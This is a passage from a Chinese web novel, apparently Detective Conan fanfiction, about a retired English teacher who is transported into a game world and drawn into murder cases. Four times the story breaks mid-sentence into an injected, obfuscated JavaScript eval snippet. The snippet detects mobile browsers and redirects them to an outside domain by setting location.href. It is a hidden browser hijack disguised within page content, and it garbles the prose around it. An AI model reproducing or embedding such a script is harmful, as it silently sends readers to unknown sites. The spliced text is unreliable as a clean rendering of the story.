洼寺点了点头,她大大方方承认了自己确实路过了这个公园,但这很显然不是什么大事,因为这是她回公寓的必经之路,过去的她和田中也时常路过这里,如果往前查监控,基本每天都会有她的身影。 “请问在塑料袋里装着的是什么,”毛利小五郎问了,“可以打开让我们检查一下吗?” “……可以的。” 女孩迟疑了片刻,这才将手中的塑料袋打开来。 藤次晃却注意到一边的田中直树与白狗,黑色头发的男人低着头,坐在他曾坐过的长椅上,依旧是一副失魂落魄的可怜模样;白狗在他身边绕着圈,时不时用脑袋拱他,像是在安慰。 在这里,藤次晃不得不再重申一遍: 这个案件和他没有关系。 可人一旦年纪大了,心肠也就软了。本该离开的他看见这个年轻人的模样,一时半会竟有些在意。周围的警员都有自己的事要忙,侦探们的注意力也大多放在了那边的洼寺小姐身上,藤次晃杵着手杖,在这个年轻人面前站立着,开口,问了一句: “你感觉怎么样?” 田中仍旧低着头,像是在难过。江户川柯南听见了藤次晃的声音,回头,恰巧就看见了二人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664744|172950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一站一坐的画面,他稍微分了些神给这边。 “不太好,”年轻人深吸了口气,狗在用毛茸茸的脑袋蹭着他的掌心,给予他一些安慰,“您也知道,不管是谁遇上家人被害这种惨事,心情都会不太好。” “确实是这样。” 藤次晃道,他在这种想起了自己的外孙子和孙女,虽然只是表兄妹,却因为小时候一直玩在一起,所以关系很好……只是外孙子十五岁就因病离世了,那时的孙女在葬礼上呆呆愣愣。 田中直树停顿了一下,这才又道:“我和我妹妹……” 他们都是从家里“逃走”的孩子。 没有家庭矛盾的说法正确,也没那么正确,他们兄妹两个人的关系确实很好,然而父母与孩子之间,却十分难说。 田中直树的学业成绩很好,然而他高中毕业后就不再上学,违背了父母的意愿,来到东京追逐梦想当一个音乐人,这么多年,火了、却也没火到哪里去,只够自己和自己领养的狗的温饱。 而田中幸实,是他走后,承担父母全部压力的那个孩子。 她成绩不好,报考了无数所大学的入学考试,却没一所有可能进去,直至前年年末,父母这才放弃让她上大学的事,用一种失望的态度放任她去做任何自己想做的事,她自己却毫无想法,于是来到东京征求他的建议。 “我们试了很多东西,之后才发现她喜欢动漫和烘焙。” 田中直树继续说:“动漫这种东西,因为不是主业,所以我也没就没陪着她一起看下去,只是偶尔会听到她说自己要去玩什么角色扮演之类的东西……烘焙的话,我让她先去烘焙的体验课试试,前面几节课回来之后,她告诉我,她遇见了一个很好的朋友,然后在烘焙课程结束后,她又告诉我,想要去读某所职业学校的烹饪专业。” “我以为她会一直这么高兴下去的。” 狗扑了上来,而田中直树却无法环抱住它。死者的兄长揉了揉脸,他没哭,只是深深地吸了口气,又呼出,好像这样就调整好了自己的心情,下一刻,他的视线落在了藤次晃的尾戒上。 “这种戒指、幸实也有一个。” “是吗?” “对的,她戴在无名指上,我问她是不是在和什么人谈恋爱,她却完全不告诉我那人的事,只告诉我说她很幸福。” 不知为何,当他说出这句话时,藤次晃下意识地看向了站在那边做笔录的洼寺律桐,更准确来说,是对方的脖颈。江户川柯南也注意到了这个老爷爷视线的转移,他跟着看去,却因为视线,完全看不到脖子上的任何东西,只看到了对方的手。 “……喜欢烹饪的人手上还能留下戒指的痕迹,那么,想来是真的很喜欢对方。” 站在一边的千叶警员道,他只是感叹:“没准田中小姐的对象,会是少见的、喜欢做料理的好男人呢,根本不舍得让她在家里做菜,不然的话,烹饪专业的人是没有办法长时间佩戴戒指的吧。” 江户川柯南愣了一下。 5. 六十二岁、接受开放新文化 洼寺小姐的塑料袋中,装着的是一些动漫周边。 这也就解释了为什么在刚才,警察想要开包检查时,她露出了迟疑。 很多喜欢动漫的孩子都这样,不太喜欢在别人面前暴露所谓的宅属性,借用孙女的话说,这就像男人走在街上骑自行车摔倒撕裂了□□,露出动感超人底裤被大家看到一样不自在。说起来这群孩子统一的绰号叫什么来着? 二次元吗? “这些东西的话……”日暮警官把站在他们身边的胖警官喊了过去,似乎是让那家伙看看这些动漫周边是怎么回事,“千叶,我记得你喜欢这些东西吧,知道这些动漫角色的名字吗——交给你检查,可以吗?” 千叶警员挠了挠脑袋:“不,虽然我确实是死宅没错,但是……” 在同事吃人的目光下,他只得把没说出口的“假面骑士既不是男性向也不是女性向,他和其他二次元没什么话可聊”咽了回去,戴上手套翻看那些徽章和亚克力。除去袋子里的水汽外,没有任何异常,真要说奇怪的话…… 那就是,这些周边的动漫原IP是男性向后宫番。 有些情节只拎出去一个都会让女孩子露出嫌恶的表情,被评价为完完全全充斥着“某性别人士的恶臭幻想”,评分两极分化,但能确定是完全的粪作。 “像您这样的女孩子喜欢这种番剧还真是少见呢。” 千叶说,他虽然不敢相信,但也不会对别人的爱好说些什么不合时宜的话:“毕竟是男性向作品……目暮警官,没有异常,这就是普通的周边而已,算是最近新上的,有点湿,拿回去之后在存放的收纳盒里放一些干燥剂会好一点,不然容易生锈。” “我知道的。” 洼寺小姐将周边收回袋子里:“如果不是上午下雨的话,这些东西已经上墙了……” 上午,下雨了吗? 刚刚穿进这个世界的藤次晃看了看天又看了看地,看完后又看向了狗,如果上午下过雨,田中直树这个铲屎官是不会带狗出门的,萨摩耶这种品种最不耐脏。 不过这些都不是他该操心的事。 因为在洼寺律桐开口,说出“下雨”这个词的那一瞬间,他的面前就跳出了所谓的任务结算画面: 【突发事件:定情公园分尸案。】 【事件进入尾声,新手指引即将恢复,目前您的身份是[路人],侦探已找到真相,您的嫌疑已被洗清。】 【您认为凶手的身份是:】 【A.田中幸实的恋人。】 【B.田中幸实的兄长。】 【C.你自己。】 ……果然是这种关系。 藤次晃在看见选项A时,有一种猜想被证实的轻松感。那种相似的气质,他在孙女身上感觉过,而孙女说那种气质叫“女同”。 有一句话怎么说来着。 女同或许不搞二次元,但搞二次元的基本都沾点女同。 他将视线从洼寺律桐的身上收回来,一转眼,就看见怔怔盯着自己的江户川柯南。藤次晃冲这个年轻的孩子礼貌地笑一下,这才握着拐杖,施施然顺着新手指引,决定在案件结束后,离开这个莫名其妙的案发现场。 ………… “柯南君?” 波洛的金发店员将蛋糕放在了他面前的桌子上,喊了他好几声,这才将孩子的思绪拉回来:“今天是遇到什么事了吗?就连喝最喜欢的冰咖啡的时候也心不在焉的。” “因为上午遇到了一个很让人在意的案件了吧。” 毛利兰道,受到上午那个案件的影响,她不太想要做饭了,所以打算在楼下点一些餐食充当他们一家今天的晚餐:“……那个案件真的很让人在意呢。” 同样身为侦探的安室透闻言,有了些许好奇。 “是什么样的案子?” “是情杀分尸的案件,”毛利兰拿起了叉子,她先是夸赞了这份蛋糕的精致,随后才挖下一点,送进嘴里,“这个蛋糕真的很好吃诶……啊,怎么说呢,大概就是有一点爱得太过偏执了吧。” “……如果那些话太残忍的话,可以不用说。” 安室透太过聪明,就凭这么一句话就猜到了情况。他早上过来时,又看见毛利兰和江户川柯南手牵手买菜回家的场景,那时候有听见她说晚上煮大餐吃的类似发言,现在却坐在这里点餐,随便一想就会猜个大概。 “和负责搜查人家家里的警官们相互,我看见的还算少的……总之,大概就是交往的情侣误以为对方要离开,失手杀了对方的故事,啊,柯南,怎么了吗?” 江户川柯南收起思考时的严肃表情,他眨了眨眼,露出个假装的小孩子的笨蛋笑脸来: “没什么啦,小兰姐姐,我只是有一点好奇而已!” “好奇什么?” “好奇那个犯人姐姐到底是怎么把自己变得像一个男人的,”江户川柯南道,其实不是的,他只是很在意那个外国人长相的老爷爷,“犯人姐姐不是从公园路过了两次嘛,可我们却完全没意识到路过这边的是同一个人……” 那个爷爷,似乎最开始就知道这桩案件的真实凶手,为什么? “嗯,这种事……” 侍应生思考了起来,想要找到个合理的解释。不过知道他真实身份的人就清楚,这是在装模作样,毕竟这种事他们再清楚不过了,和贝尔摩德相处过的人都不会对此感到在意。 而且工藤有希子女士也深谙此道。 “安室先生!——”榎本梓在那边喊了他一声,“有客人在这里遗落了东西,你可以过来看一眼吗?” “抱歉,我到小梓小姐那边去一下。” 安室透先应声,再同他们一家道歉。他长腿一迈,很快就过去,只是在看清那样东西时,露出了苦恼的表情来,聪明如他,一时也不知道拿这种东西怎么办: “如果是这种东西的话……” 周围人遇见难题时,迷恋难题的侦探就会从不知名的某个角落冒出来,江户川柯南很快将刚才的问题抛之脑后,短腿一蹬,从椅子上滑下来,像腊肠狗一样跑了过来。 “什么东西!” 他抓着安室透的衣角,踮着脚要看人家手里的东西。 “是戒指。” 在深肤色的男人的掌心里,赫然放着一枚银制的古典戒指,它看起来就像是几个世纪前流行的贵族饰品,或者说是欧洲国家流行的古着,颜色暗沉,看起来不太值钱。 “而且是纯银的戒指,”安室透用手机的手电筒负责对光,检查了上面的宝石,“宝石也是真的。” “不会吧。” 榎本梓有些难以置信:“那个位置今天坐过的人只有我孙子爷爷,他看起来不像是会带这种东西出门的样子……” “先放起来吧,”安室透只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664745|172950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给出了这么一个解决方案,“如果是重要的东西,想来那位老先生很快就会再过来寻找的,这种时候只要把它放好,以免遗失就行了。” ………… 而在他们不知道的另一边,两个小时之前,藤次晃终于顺着指引,来到了所谓的【我孙子之家】。 【已生成钥匙。】 【钥匙存放的地点:[口袋外侧右口袋]。】 在藤次晃面前的,是一栋看起来有些年岁的一户建房子,外侧某一小块地方的墙皮有要脱落的迹象,门前的碎石边道却没有杂草的痕迹,门牌上刻着“我孙子”的姓氏,而除此之外的一切—— 都和他家一模一样。 虽然不知道别的穿越是什么样的,但是自己的家跟他一起穿越这种事,对一个生活有诸多不便还不太能习惯陌生环境的老头来说,真的是太好了。 老人掏了掏自己口袋,他刚抓住钥匙,想要往外拿,就因为感受到了什么,停顿了动作。 钥匙确实是在里面没错。 但是戒指不在里面。 孙女前几天早上出门说是要去漫展,穿着一身黑斗篷戴着个金色的狮子头出门了,半道上打电话过来要他帮忙把桌上的那什么考试普雷道具送到漫展,戒指也是其中之一。 只是他真送过去了,孙女又用不上了,似乎是戴着黑手套拍照不需要戒指。 于是那个戒指就这么一直放在他口袋里。 怎么说呢。 孙女估计早就忘记了这个戒指的存在,那孩子就是这样,买过来要用的东西发现用不上时就往旁边一扔,放在哪个犄角旮旯假装自己没买过。 这时候有人要问了,这个戒指很贵吗? 那倒没有,街边扭蛋机五百日元抽的。 想到戒指的价钱,藤次晃便放下心来,他从口袋里摸出钥匙,开了门,习惯性地将手中的手杖往一边的雨伞桶中插去,坐到门口的椅子上换鞋。 【RZA10088:你好,人,我回来了!】 【RZA10088:关于你上午问的“性别为男的你是否能通关游戏”这个问题,系统开发者给出了如下作答:首先,按照原游戏设定,如果你想要恋爱的话,可以通过攻略主要角色达成恋爱线Happy End结局进行脱离游戏;其次,如果你不打算恋爱的话,则可以通过成为游戏中最大反派组织的首领来达成“暗夜女王”成就,成就达成后即可脱离游戏。】 【RZA10088:然而在游戏内测开始前,游戏开发者未注意玩家性别导致游戏进程出现差错,经过开会讨论,我们决定给您以下补偿。】 【RZA10088:我们决定为您送上[身娇体弱buff]*1、[性别转换buff]*1。】 ……什么buff? 藤次晃一瞬间有点不认识日本字了。 【RZA10088:或者您也可以选择我们新推出的游戏道具[返老还童·红白药丸]、[做不到就会死·决心子弹]……】 人工智障客服像是在报菜名。 并不懂这些东西、只感觉这个世界对他这个老爷子有点恶俗的藤次晃深吸一口气。不管是什么buff还是什么游戏道具,他都不是很想要,游戏他也不是很想打。 【藤次晃:能不能把我孙女带过来,她比我擅长打游戏。】 【RZA10088:不能。】 6. 六十二岁、被人做局 【RZA10088:人,你确定真的不要buff或者道具吗?】 第二天早上五点,藤次晃一睁眼,看见的便是弱智哈士奇客服发来的消息,他深吸口气,强行忽略这个聊天框,随后掀开被子,下床,洗漱之前先把孙女送他的黄色肥美兔子揉搓一遍,确认它恢复圆润姿态后满意点头,进洗漱间。 三十分钟后出来,他肩膀上搭着条毛巾,拉开了自己的红木衣柜搭配今天要穿的衣服。 【RZA10088:looking my eye,人!】 ……是look in my eyes。 前·英语教师此时此刻很想叹气,但最终没有,他抓了把湿漉漉的头发,用毛巾擦了擦后穿上衬衫。自从十年前和前妻分居后,他就一直保持着十点睡五点起,起床以后折腾自己的习惯,同龄的老头很少有他这么注意形象的。 【藤次晃:那些东西听起来没什么用。】 【RZA10088:有用的。】 【RZA10088:如果你想要在不谈恋爱的情况下打出暗夜女王结局,那么必须拥有[性别转换buff]……■■■■……■■……】 哈士奇像是一时激动,拿爪子打字,打出了一堆乱码。 藤次晃扣完最后一颗纽扣,理了理衬衫和长裤上的褶皱后,便不再理会系统,年纪大的人就这样,不想看的东西那是眼花,不想听的东西那叫耳背,人生教会他们的道理就是看自己想看的,听自己想听的。 推开卧室门,下楼,他看着没有孙女就显得无比整洁的一楼客厅,竟然生出了“混世魔王不在真是太好了”这一想法。 ……虽然听起来真的很伤感情。 但这种想法其实是非常正常的。 毕竟他们家从来都是放养政策,藤次晃这个家主本人不用说了,他二十多岁为了追爱和英国老家断绝关系,跑到日本安家。 光是听着就觉得太自由了。 孩子们从小到大在家里就像牛一样放养,以至于最终养成了无法无天的性子,不管是孙子还是孙女还是外孙女,总之这一辈的孩子,破坏力都堪比网络上非常火的垂耳大叫狗。 算了。 给孙女和外孙女留点面子吧,她俩去当奶牛猫。 那种悲伤的事还是不要多想了,再想下去的话没准下一秒开门就会看见熟悉的脸站在门口,左边垂耳大叫驴顶着黄毛开鬼火说老登爆点金币我要带妹去吃烧烤,右边俩奶牛猫不是双生胜似双生地穿着艾莎公主裙子说爷爷给我零花钱我要去玩考斯普雷。 铂金色头发的爷爷深深地吸了口气,再吐出,以此来让自己的心平静下来。 他该想的事,应该是今天早饭吃什么。 以及今天该去做什么打发时间。 ………… 退休,这算是个人人向往的词。 什么工作都不用做,还能每个月领到工资,光是想想都觉得美好的生活在十年前终于成为了现实;而且除了退休工资,藤次晃的账户里还有每个月当地下发的各类津贴、孩子给打的赡养费以及怕他饿死的前妻打过来的生活费。 收入远远大于支出。 原先账户里的钱像是完全花不完一样。 然而他穿越了。 这也就是为什么,当他拿着昨天系统下发的十万日元现金去ATM机存款时,看见的账户余额只有一个0。 他的钱不翼而飞了。 年轻时体会过穷苦滋味的藤次晃倒吸一口凉气,第一反应是打电话给家里人,想说自己被一个叫什么游戏系统的东西做局了,账户里的钱全都消失不见,连一分都没给他留下。 可他在异世界。 从家里带出来的手机,不管是通讯录还是联系记录,一个号码都没有,空空荡荡,像是他的账户余额……不对,他账户余额现在至少还有一个五和五个0。 【RZA10088:很不高兴为你服务,请问您有什么不需要的帮助的,人?】 像是觉察到了他的震撼,顶着哈士奇脑袋的客服又一次出现了。 【藤次晃:我的钱去哪里了?】 可怜的贫穷老人如此问。 【RZA10088:听不懂您在说什么,人,我们没有金币无限mod,也没有无限金币破解版,游戏中的货币需要您依靠自己的双手与努力工作赚取,就算是内测玩家也不可以作弊哦!】 藤次晃:…… 如果不是余额不允许的话,没准现在他就两眼一翻,背过气去,往医院一躺。这不好笑,孩子,人体缺乏维生素是会得病的,而人没有钱别说得病了,那简直是很快就没命了。 他缓了缓,问道: 【藤次晃:我记得现实世界的钱是可以冲进游戏里的吧?】 【RZA10088:非常抱歉,人,游戏还在内测阶段,没有开通氪金渠道喵!】 【RZA10088:这边建议您每日先完成每日任务,以获取足够的生活经费,而后找到合适工作,一手抓上班,一手抓攻略,一手抓推理,一手抓恋爱,一手抓探索!】 人好像只有两只手。 【RZA10088:请查收您的每日任务!】 【每日任务1:增进与主要剧情人物的感情。 奖励:[一万日元]*5。】 主要剧情人物是指谁,昨天那个咖啡店的男大学生服务员吗,怎么增进,让他喊自己爷爷这样行吗? 【每日任务2:地点打卡——在松下家的书房窗前作出看书的动作。 奖励:[一万日元]*20。】 谁是松下?为什么要去人家家里书房看书? 藤次晃有些搞不懂这个任务布置出来到底是要干些什么,松下这也算是个大姓,就他以前认识的少说也有三个,难道说他要去找这几个他认识的松下然后跑进人家里装模作样的看书吗? 要是敢做出这种行为,那人也是离疯不远了。 【每日任务3:活着。 奖励:[一万日元]*10】 这个又是啥? 作为六十二年的人生里至少有五十年都对侦探系列作品不感兴趣的老头,藤次晃压根意识不到这两个轻飘飘的字在这个世界到底有多沉重,而系统、这个非智能体在其玩家不询问的情况下,也完全不会为藤次晃解答。 【RZA10088:人,如果你想要更多初始资金的话,我建议你选择[财源广进buff]。】 只是可惜,它说这话时,身为本文主角的藤次爷爷被现实的残酷逼得闭上了眼。两眼这么关闭了,即将走上的人生光明大道就这样骑着电动车路过了,再睁开眼,面前就只有他的羊肠小道了。 【RZA10088:真的不考虑来一个buff吗?】 【藤次晃:不考虑,谢谢。】 还是把注意力转移到这些任务上来吧。 藤次晃握着雨伞的把手走出银行,没几个子的银行卡揣在大衣的内侧口袋,光是想想都觉得心寒。那些任务字他都认识,可意思实在是不明白。 能去别人家的话,那就意味着他和那个姓松下的人认识。 那么,是他教过的学生吗? 可这么想又不太对,毕竟藤次晃现在是穿越到了游戏世界里,家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664746|172950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和他自己过来了,家里的孙女和银行卡里的钱却没有过来。在游戏里出现他教过的学生,那听起来实在是有些荒谬了。 留着规整胡子的中老年人如此想,他往家的方向走了没两步,下一秒,就听见了从身后传来的声音: “请问是我孙子老师吗?” 藤次晃一时没反应过来自己的假名。 “我孙子老师,”而身后的人在他没有回答的情况下,也确定了他的身份,快步走了过来,“是我孙子老师吗?” 那是个约摸三四十的青年人,他穿着一件红黑格子的衬衫,戴着黑框眼镜,看起来老实又木讷。藤次晃明明没见过这张脸,却在他露头的第一眼,就将他和任务上写着的那个“松下”联系上了。 那青年人抓了两把头发,这才正式地打了招呼,意识到自己和当年大变样了的时候,很快就在后面补充了一句: “好久不见,我孙子老师……我是十几年前你教过的松下!老师你可能不太记得我了、哎呀!总之我以前是最早跟着你课外补习英语的那几个人里的一个啦。” “噢噢噢……” 藤次晃露出了恍然大悟的表情。 其实完全没印象。 他教过的学生太多,之前每年总有几个他已经没印象的孩子来和他见面。每当到这种时候,藤次晃就会用这一招,一边用套话去应对,一边再在脑子里疯狂回想一下自己教过的学生里,这孩子是哪一类,有什么特殊的记忆点。 “我孙子老师真的是完全没变化呢。” 松下感叹道:“穿衣打扮也好,背影也好,和我印象里差不了多少,我这才能认出来……我孙子老师还在教英语吗?” “不教了,”藤次晃答,他印象里确实是没教过这个人,但他的嘴巴却像是不受控制那样,说出了对方的特点,“我退休十年了……你当年是那个、和另外两三个孩子一起,坐在后排打游戏的学生是吧?” “啊,对。” 这个家伙有些不好意思地挠了挠头。 “当年天天打游戏结果没想到现在天天做游戏……啊,题外话还是不说了,我孙子老师,你今天有事吗?” “应该是没有的。” 松下听到这样的回答,顿时喜笑颜开,他接连不断地“哎呀”“哎呀”,好半晌后这才再次开口,他对着藤次晃发出了邀请:“那,我孙子老师愿意到我家去吗——是这样的,虽然毕业很久了,但是我们当时那个英语的补习小组之间还有联系!今天刚好有聚会,如果您能过来的话,那就太好了!” 不喜社交的藤次晃本想拒绝。 然而系统弹窗在他面前跳了一下,第二个每日任务就这样再次出现在他眼前。 ……银行卡里只有凄惨的五万块。 去人家里假装看个书能拿二十万日元。 “希望你们不会嫌弃我这个老年人跟不上潮流,”藤次晃从善如流地答应了邀请,“如果搞砸了聚会的气氛,也可别怪我这个不受你们欢迎的老师。” “哎呀,我孙子老师你明明很受学生欢迎的!啊,说起来我们那个小组有个学生,现在是大名鼎鼎的侦探来着,老师你还记得吗?” “嗯?” “毛利啦!” 松下笑道:“那个看起来总是吊儿郎当的人啦,以前老是在课上睡觉的那家伙,他现在可比我们都要出名了。” 藤次晃对于他口中说的侦探毛利并不是非常在意。 只是表面功夫还是要做的,因此,明面上,他露出了非常惊讶的表情,暗地里,却有些漫不经心,只想快点结束这一场社交的酷刑: “是吗?” 7.六十二岁、是个文盲 松下、全名是松下文都次,目前三十八岁,从事游戏产品开发工作。他似乎从高中时期就喜欢拉三五好友勇闯电玩城或游戏厅,后面更是考上了计算机相关的专业,走上了游戏制作的道路。 只不过,因为做的游戏不符合大众主流,在事业方面,说不上太成功。 “是在做什么游戏?” 藤次晃问,他们说到这个话题的时候,车刚在人家的门口停下。松下特地先下车,帮他的高中英语教师拉开了后座的车门,听见老师的询问,谦虚地笑了笑,这才答道: “不是什么打游戏……大概就是类似于、太鼓达人那样的音乐游戏吧,只不过我们是在手机上操作、不需要用到鼓和其他什么的传导设备。” “那听起来很好。” 老年人点了点头:“我想我家的孩子应该会喜欢的……” 松下没听清,但想来应该不是重要的话,便是忽略过去。他这一路上与藤次晃说了许多,嘴巴干着,带着这位退休老教师进门后,便拐了个弯,进了厨房喝口大麦茶,而后又问妻子: “我请的客人都来了吗?” “还没有诶,”松下太太道,她侧对着自己的丈夫,话说到一半又开始抱怨起来,“不过我已经帮你打过电话了,基本上都在路上——你也应该体谅我才行啊,怎么会说出让别人能够带家属过来的话,十人以上的饭菜就应该到餐厅去才对。” “哎呀,不好生气嘛……今天我孙子老师也过来了,就是我跟你说过的,我最崇拜的那个老师……” 他们在厨房里聊着一些家常的话题,藤次晃却是来到了客厅。 其实从方才进门就发现了。 松下的家里只有两个人生活的痕迹。 这是件奇怪、又不那么奇怪的事——奇怪,自然是因为在他们夫妻二人三十快四十了,却没有生育;而不那么奇怪,是因为现在青年人大多都这样,秉承着不婚不育或者丁克的理念就这样过下去。 然而他拉开客厅的门,看见的是正趴在桌上写作业的孩子。 “欢迎光临我家!” 那孩子和松下长得有几分相似,抬起头来,冲藤次晃笑。桌上放着的作业本杂乱不堪,大概也就是小学二三年纪的水平,他却做得很认真,打完招呼后,又将脑袋埋下去,写数学作业,写得很专心。 藤次晃在他旁边坐下了,还没开口说话,原本在厨房的松下夫妇就端来了茶水。 “先喝点茶吧,”松下道,他看也不看那孩子一眼,就坐在了藤次晃的对面,“说真的,我孙子老师能到我们家里来,我真的很高兴,大学的时候我有回学校去找过您来着,那边却说您回英国了……我还以为我这辈子都见不上您了。” 大学时期。 那就是十几二十年前的事。” “啊,那时候啊……”藤次晃反应慢了半拍,二十多年前的事,大部分人一时半会都不能想起来,不过他自从二十岁过来日本后,就很少回英国,因此,很快就将时间和事件对上了,“一点私事而已……我有个侄子出了点事,需要我去主持葬礼。” 松下的笑容收敛了几分,藤次晃能看出他在听到葬礼这个词时,脸上一闪而过的失意。 “……我很抱歉。” 这个青年人说,不过他很快就将话题转到这次聚会上去了,他说这次聚会大家都是带着家属来的,其中有一位结婚又离婚了,这次会带着他儿子过来;有一位和妻子孩子和和满满,这次他们一家四口都会过来;还有一位,也就是毛利,他说要带着女儿和一个小鬼过来。 藤次晃只是听着。 老人的视线落在桌上,准确来说,是这孩子做的作业上。而松下说着说着,忽然又道: “我孙子老师已经忘了大家的样子了吧,我去书房给您拿照片。” 书房。 听到关键词,藤次晃一下就想起了之前系统给的每日任务,他将视线从桌上的作业本移开,看向这个起身的青年人。旁边的孩子也抬起头看向松下,但又很快低下头去,继续写作业。 “我也跟着去吧。” 退休老教师道:“正好活动一下,坐太久的话,我这把老骨头也一时半会受不了……啊,不过书房应该是比较私人的空间吧,我去外面走走?” “倒也没有什么不能看的。” 松下很爽快地就决定带藤次晃上楼,一户建的楼梯虽然狭窄,但铺了地毯,就算重重地剁了脚,也听不见什么声音。藤次晃踩着客人的一次性拖鞋跟在松下身后,在拐角处,看见了作为装饰摆着的四方形木箱柜。 四方形木箱柜的边角锐利得要命,如果有人从楼梯上刚好摔下来,磕到的话,没准后脑勺能扎出一个窟窿。 “在日本,很少见到在楼梯铺地毯的人呢。” 藤次晃感叹着。 而松下挠了挠后脑勺,不好意思地笑了一下,他解释了: “因为之前有段时间,我太太的精神和注意力都比较涣散,我怕她下楼的时候因为没注意台阶摔倒,所以铺上的……老师,往这边走,我书房就在拐角。” 那么柜子,应该是最近新放的。 藤次晃登上最后一阶,而后,又侧身,跟着松下进了书房。里面看起来颇为杂乱,书不在书架上,而在地上;照片不放在桌子上,反而倒扣着,放在窗台;其他杂七杂八的装饰品摆在桌上,其中有许多假面骑士或是美少女战士的手办,比起大人的收藏款,更像是孩子的玩具。 “抱歉……” 书房的主人有些尴尬:“之前除了妻子外,没多少人会进来的,所以一直没收拾,老师您先看看,或者在椅子上坐下也行,我去给您找照片。” “没事,”藤次晃并不在意,他们家小辈的房间凌乱程度和这儿差不多,“这证明你有创造力,擅长创作的人工作室杂乱是很正常的。” “还有这种说法吗?” 松下说完,便开始在这间狭小的书房里找了起来,他找东西的顺序是从门口区域找起,逐渐往内。藤次晃跟在他身后,绕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15681980|172950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了两步,就在他前边了。 白金色头发的老人看了一眼那些书。 “你信天主教?” “不,”松下头也不抬,他的声音停了一会儿,似乎在思考自己到底将照片放到了哪儿,“……那只是制作游戏需要。” 作为老年人的藤次晃并不太清楚,为什么音乐游戏需要用到宗教资料,但是他也不多问。毕竟能活到六十岁这么久还身体健康万事顺遂,和他不过分好奇的性格脱不了干系。 “……” 他只是将手放在了这些书上,刚抬头,开口,想要说些什么。 下一秒,窗户外传来了车的声音。 “快下来啦,”楼梯口也传来了松下太太的呼唤声,她的语气很不好,似乎还在为了她一个做十几个人饭菜的事而生他丈夫的气,“你可不能躲在楼上偷懒啊!” “好!——” 松下一个鲤鱼打挺就起来,他拍了拍手,回头同藤次晃再次道歉:“抱歉,老师,我得先下去接待一下客人,老师想再看看的话就请自己看吧,所有东西都可以动的,没关系!” 藤次晃没有回答,松下已然下楼。 老人只得看看手下的几本福音书,以及一本有明显翻阅痕迹的牛皮装订的老旧圣经。他不信基督或者天主已经许久,对书里的内容也多数忘了个干净。 然而他还是把圣经拿了起来。 书被摊开,藤次晃苍老的手指抵住牛皮与硬木板制作的封面,只不过翻过几页,就看见了被做标注的话。 是《新约》中的。 “我们有着宝贝放在瓦器里……”* 藤次晃喃喃道。 按照宗教徒的解释,瓦器便是人的身体,而宝贝便是人的精神、亦或是信仰。只是在这里不能这么解释,一是因为松下文都次并非宗教信徒,二是……藤次晃自己的直觉。 他将书返回到最前端,也就是扉页的部分。 那写着段客套的送礼话,大意就是“听闻你最近需要一些宗教方面的资料,我家里刚好有要处理的书,就送给你了,希望你不嫌弃我在上面做的标记”。 藤次晃又翻开几本的扉页,可惜,在那几本上什么也没有。 楼下传来了青年男人们的交谈声,藤次晃并没有理会,他只是翻着这本圣经,逐字逐句地查看着所有做标注的地方,然而,他年纪太大,脑细胞也老死了很多。 什么端倪都没看出来。 求这个世界别为难一个文盲,就算是人民教师,也是会在退休后把知识还给书本的。 完全将系统说的“假装”二字抛之脑后,真的看起了书的老人家就这样站在窗边,傍晚的残阳透过窗玻璃,染红窗帘,又染红爷爷白金色的头发。 这次真的是来上厕所的江户川柯南一回头,就看见了他。 不知过了多久,藤次晃才从圣经中抬头,他看向了站在门口那个穿着短裤的眼镜小男孩。 而眼镜小男孩被发现之后猛地反应过来,钻进了卫生间里。 8.六十二岁、遇到鬼了 “我孙子爷爷为什么会在这里?” 从卫生间出来的孩子非常礼貌地问了,问完,又考虑到老年人的记忆力,补充了一个自我介绍:“我是昨天在公园里和你见面的那个喔!名字是江户川柯南!是个侦探!” 藤次晃在最开始确实没认出他。 虽然在日本这边住了四十来年,但每每到认人时候,他的英国血统就会觉醒,让他想对面前照片上无数的亚洲面孔发出灵魂的质问:他们不都是同一张脸吗? 不过,这孩子开口后,他就认了出来。 